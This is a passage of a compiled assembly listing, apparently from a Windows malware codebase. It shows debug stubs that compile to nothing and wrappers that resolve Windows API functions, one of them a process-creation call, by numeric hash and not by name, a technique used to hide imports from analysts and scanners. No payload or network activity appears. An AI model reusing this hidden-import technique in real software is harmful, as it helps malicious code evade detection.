;	COMDAT ??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 1
_Arg2$ = 20						; size = 4
??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool,char *>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool,char *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
_Arg3$ = 24						; size = 4
??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *,char *>, COMDAT
; 90   : 	#ifdef DebugUtils
; 91   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3);
; 92   : 	#endif
; 93   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *,char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,4088942341,144,_RTL_CRITICAL_SECTION *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z PROC ; pushargEx<1,4088942341,144,_RTL_CRITICAL_SECTION *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 90 00 00 00	 push	 144			; 00000090H
  00005	68 05 4f b8 f3	 push	 -206024955		; f3b84f05H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00016	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  0001a	ff d0		 call	 eax
; 103  : }
  0001c	c3		 ret	 0
??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ENDP ; pushargEx<1,4088942341,144,_RTL_CRITICAL_SECTION *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,959143975,145,_RTL_CRITICAL_SECTION *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z PROC ; pushargEx<1,959143975,145,_RTL_CRITICAL_SECTION *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 91 00 00 00	 push	 145			; 00000091H
  00005	68 27 60 2b 39	 push	 959143975		; 392b6027H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00016	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  0001a	ff d0		 call	 eax
; 103  : }
  0001c	c3		 ret	 0
??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ENDP ; pushargEx<1,959143975,145,_RTL_CRITICAL_SECTION *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *>, COMDAT
; 66   : 	#ifdef DebugUtils
; 67   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str);
; 68   : 	#endif
; 69   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z	; pushargEx<1,1033466613,47,int>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z PROC	; pushargEx<1,1033466613,47,int>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 2f		 push	 47			; 0000002fH
  00002	68 f5 72 99 3d	 push	 1033466613		; 3d9972f5H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ENDP	; pushargEx<1,1033466613,47,int>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD00@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char const *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD00@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
??$DBGOutMessage@PBDPBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD00@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char const *>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD00@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char const *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBD_NPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD2@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool,char *,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBD_NPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD2@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 1
_Arg2$ = 20						; size = 4
_Arg3$ = 24						; size = 4
??$DBGOutMessage@PBDPBD_NPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD2@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool,char *,char *>, COMDAT
; 90   : 	#ifdef DebugUtils
; 91   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3);
; 92   : 	#endif
; 93   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBD_NPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD2@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool,char *,char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z ; pushargEx<3,1799024876,346,char *,char const *,char *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z PROC ; pushargEx<3,1799024876,346,char *,char const *,char *>, COMDAT
; 116  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C);
; 117  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 5a 01 00 00	 push	 346			; 0000015aH
  00005	68 ec f0 3a 6b	 push	 1799024876		; 6b3af0ecH
  0000a	6a 03		 push	 3
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 118  : 	return func(a1,a2,a3);
  00016	ff 74 24 0c	 push	 DWORD PTR _a3$[esp-4]
  0001a	ff 74 24 0c	 push	 DWORD PTR _a2$[esp]
  0001e	ff 74 24 0c	 push	 DWORD PTR _a1$[esp+4]
  00022	ff d0		 call	 eax
; 119  : }
  00024	c3		 ret	 0
??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z ENDP ; pushargEx<3,1799024876,346,char *,char const *,char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0HILAAMHO@$0IH@PADH@@YAPAXPADH@Z ; pushargEx<1,2024803454,135,char *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0HILAAMHO@$0IH@PADH@@YAPAXPADH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0HILAAMHO@$0IH@PADH@@YAPAXPADH@Z PROC	; pushargEx<1,2024803454,135,char *,int>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 87 00 00 00	 push	 135			; 00000087H
  00005	68 7e 0c b0 78	 push	 2024803454		; 78b00c7eH
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00016	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  0001a	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001e	ff d0		 call	 eax
; 111  : }
  00020	c3		 ret	 0
??$pushargEx@$00$0HILAAMHO@$0IH@PADH@@YAPAXPADH@Z ENDP	; pushargEx<1,2024803454,135,char *,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0JMEIAOCE@$0DO@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z ; pushargEx<1,2621967908,62,_OSVERSIONINFOEXA *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0JMEIAOCE@$0DO@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0JMEIAOCE@$0DO@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z PROC ; pushargEx<1,2621967908,62,_OSVERSIONINFOEXA *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 3e		 push	 62			; 0000003eH
  00002	68 24 0e 48 9c	 push	 -1672999388		; 9c480e24H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0JMEIAOCE@$0DO@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z ENDP ; pushargEx<1,2621967908,62,_OSVERSIONINFOEXA *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$06$0MJFNIFFA@$0BMA@HPADH_N@@YAPAXHPADH_N@Z ; pushargEx<7,3378349392,448,int,char *,int,bool>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$06$0MJFNIFFA@$0BMA@HPADH_N@@YAPAXHPADH_N@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 1
??$pushargEx@$06$0MJFNIFFA@$0BMA@HPADH_N@@YAPAXHPADH_N@Z PROC ; pushargEx<7,3378349392,448,int,char *,int,bool>, COMDAT
; 124  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D);
; 125  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 c0 01 00 00	 push	 448			; 000001c0H
  00005	68 50 85 5d c9	 push	 -916617904		; c95d8550H
  0000a	6a 07		 push	 7
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 126  : 	return func(a1,a2,a3,a4);
  00016	ff 74 24 10	 push	 DWORD PTR _a4$[esp-4]
  0001a	ff 74 24 10	 push	 DWORD PTR _a3$[esp]
  0001e	ff 74 24 10	 push	 DWORD PTR _a2$[esp+4]
  00022	ff 74 24 10	 push	 DWORD PTR _a1$[esp+8]
  00026	ff d0		 call	 eax
; 127  : }
  00028	c3		 ret	 0
??$pushargEx@$06$0MJFNIFFA@$0BMA@HPADH_N@@YAPAXHPADH_N@Z ENDP ; pushargEx<7,3378349392,448,int,char *,int,bool>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBD_N@DBGRPTDEBGTEMPLATES@@YAXPBD0_N@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBD_N@DBGRPTDEBGTEMPLATES@@YAXPBD0_N@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 1
??$DBGOutMessage@PBDPBD_N@DBGRPTDEBGTEMPLATES@@YAXPBD0_N@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBD_N@DBGRPTDEBGTEMPLATES@@YAXPBD0_N@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD1@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD1@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
??$DBGOutMessage@PBDPBDPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD1@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD1@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0EGDBIKMH@$0DM@PADPADHHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@@YAPAXPAD0HHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@Z ; pushargEx<1,1177651911,60,char *,char *,int,int,int,int,int,int,_STARTUPINFOA *,_PROCESS_INFORMATION *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0EGDBIKMH@$0DM@PADPADHHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@@YAPAXPAD0HHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
_a7$ = 32						; size = 4
_a8$ = 36						; size = 4
_a9$ = 40						; size = 4
_a10$ = 44						; size = 4
??$pushargEx@$00$0EGDBIKMH@$0DM@PADPADHHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@@YAPAXPAD0HHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@Z PROC ; pushargEx<1,1177651911,60,char *,char *,int,int,int,int,int,int,_STARTUPINFOA *,_PROCESS_INFORMATION *>, COMDAT
; 171  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 172  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G, H, I, X);
; 173  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	6a 3c		 push	 60			; 0000003cH
  00005	68 c7 8a 31 46	 push	 1177651911		; 46318ac7H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 174  : 	return func(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10);
  00016	ff 75 2c	 push	 DWORD PTR _a10$[ebp]
  00019	ff 75 28	 push	 DWORD PTR _a9$[ebp]
  0001c	ff 75 24	 push	 DWORD PTR _a8$[ebp]
  0001f	ff 75 20	 push	 DWORD PTR _a7$[ebp]
  00022	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  00025	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  00028	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  0002b	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  0002e	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00031	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  00034	ff d0		 call	 eax
; 175  : }
  00036	5d		 pop	 ebp
  00037	c3		 ret	 0
??$pushargEx@$00$0EGDBIKMH@$0DM@PADPADHHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@@YAPAXPAD0HHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@Z ENDP ; pushargEx<1,1177651911,60,char *,char *,int,int,int,int,int,int,_STARTUPINFOA *,_PROCESS_INFORMATION *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDHPAXK@DBGRPTDEBGTEMPLATES@@YAXPBD0HPAXK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,int,void *,unsigned long>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDHPAXK@DBGRPTDEBGTEMPLATES@@YAXPBD0HPAXK@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
_Arg3$ = 24						; size = 4
??$DBGOutMessage@PBDPBDHPAXK@DBGRPTDEBGTEMPLATES@@YAXPBD0HPAXK@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,int,void *,unsigned long>, COMDAT
; 90   : 	#ifdef DebugUtils
; 91   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3);
; 92   : 	#endif
; 93   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDHPAXK@DBGRPTDEBGTEMPLATES@@YAXPBD0HPAXK@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,int,void *,unsigned long>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0MFEDHEPD@$0CO@PAXI@@YAPAXPAXI@Z ; pushargEx<1,3309532403,46,void *,unsigned int>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0MFEDHEPD@$0CO@PAXI@@YAPAXPAXI@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0MFEDHEPD@$0CO@PAXI@@YAPAXPAXI@Z PROC	; pushargEx<1,3309532403,46,void *,unsigned int>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 2e		 push	 46			; 0000002eH
  00002	68 f3 74 43 c5	 push	 -985434893		; c54374f3H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00013	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  00017	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001b	ff d0		 call	 eax
; 111  : }
  0001d	c3		 ret	 0
??$pushargEx@$00$0MFEDHEPD@$0CO@PAXI@@YAPAXPAXI@Z ENDP	; pushargEx<1,3309532403,46,void *,unsigned int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z	; pushargEx<1,1916711125,17,void *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z PROC	; pushargEx<1,1916711125,17,void *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 11		 push	 17			; 00000011H
  00002	68 d5 b0 3e 72	 push	 1916711125		; 723eb0d5H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ENDP	; pushargEx<1,1916711125,17,void *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0EHFFIHLH@$0FE@PAD@@YAPAXPAD@Z	; pushargEx<1,1196787639,84,char *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0EHFFIHLH@$0FE@PAD@@YAPAXPAD@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0EHFFIHLH@$0FE@PAD@@YAPAXPAD@Z PROC	; pushargEx<1,1196787639,84,char *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 54		 push	 84			; 00000054H
  00002	68 b7 87 55 47	 push	 1196787639		; 475587b7H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0EHFFIHLH@$0FE@PAD@@YAPAXPAD@Z ENDP	; pushargEx<1,1196787639,84,char *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPADK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,unsigned long>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPADK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADK@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
??$DBGOutMessage@PBDPBDPADK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADK@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,unsigned long>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPADK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADK@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,unsigned long>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPAX@DBGRPTDEBGTEMPLATES@@YAXPBD0PAX@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,void *>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPAX@DBGRPTDEBGTEMPLATES@@YAXPBD0PAX@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
